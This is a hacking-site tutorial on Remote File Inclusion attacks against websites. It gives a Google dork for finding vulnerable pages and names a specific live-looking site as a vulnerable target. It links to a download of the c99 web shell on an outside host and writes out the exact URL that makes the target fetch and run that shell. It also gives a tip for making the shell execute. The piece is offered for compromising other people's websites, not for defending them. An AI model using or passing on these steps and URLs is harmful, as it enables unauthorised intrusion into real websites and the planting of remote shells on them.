Remote File Inclusion (RFI) | Website Hacking - RFI - Web Hacking - Hacking - GeniusHackers.Net
Main » Articles » Web Hacking » RFI

Remote File Inclusion (RFI) | Website Hacking
 Hello friends here i am posting one another method of website hacking called RFI (Remote File Inclusion)
Remote File Inclusion (RFI) is a type of vulnerability often found on websites. It allows an attacker to include a remote file, usually through a script on the web server. The vulnerability occurs due to the use of user-supplied input without proper validation. 
Lets Start 
1st Step : Find a Vunerable websites using Google Dork


Click Here to get more RFI dork


"inurl:index.php?page=” its a Dork of RFI hacking 

It will show all the pages which has "index.php?page=” in their URL, Now to test whether the website is vulnerable to Remote file Inclusion or not the hacker use the following command
www.targetsite.com/index.php?page=www.google.com


see example of this website http://www.cbspk.com
http://www.cbspk.com/v2/index.php?page=http://www.google.com


If after executing the command the homepage of the google shows up then then the website is vulnerable to this attack if it does not come up then you should look for a new target. In my case after executing the above command in the address bar Google homepage shows up indicating that the website is vulnerable to this attack.


Now the hacker would upload the shells to gain access. The most common shells used are c99 shell or r57 shell. I would use c99 shell. You can download c99 shell from the link below:
Or you can download Best Shells Here


http://www.sh3ll.org/c99.zip


Now we need to upload the shells to a webhosting site such as ripway.com, viralhosts.com,110mb.com or another free hosts etc.


Now here is how a hacker would execute the shells to gain access. Lets say that the url of the shell is http://www.sh3ll.org/c99.txt?


Now here is how a hacker would execute the following command to gain access


http://www.cbspk.com/v2/index.php?page=http://www.sh3ll.org/c99.txt?
Don't Forget To add "?” after .txt at the end of url or else the shell will not execute. Now the hacker is inside the website and he could do anything with it.
Category: RFI | Added by: max_hacker (12.06.18)
Views: 949 | Comments: 4 | Rating: 5.0/1
Total comments: 0
Only registered users can add comments.
[ Registration | Login ]
Like us on FacebookFollow us on Twitter
Recommend on Google
Our Media
Our Media

Our Blog
Our Blog

Designed By [#]./3X3.R()()T
Like Us on Facebook Follow Us on Twitter Subscribe Us on Youtube WWW.GeniusHackers.NET © 2016
Founder and CEO of GeniusHackers [#] /3x3.R()()T
Hosted by uCoz
Hosted by uCoz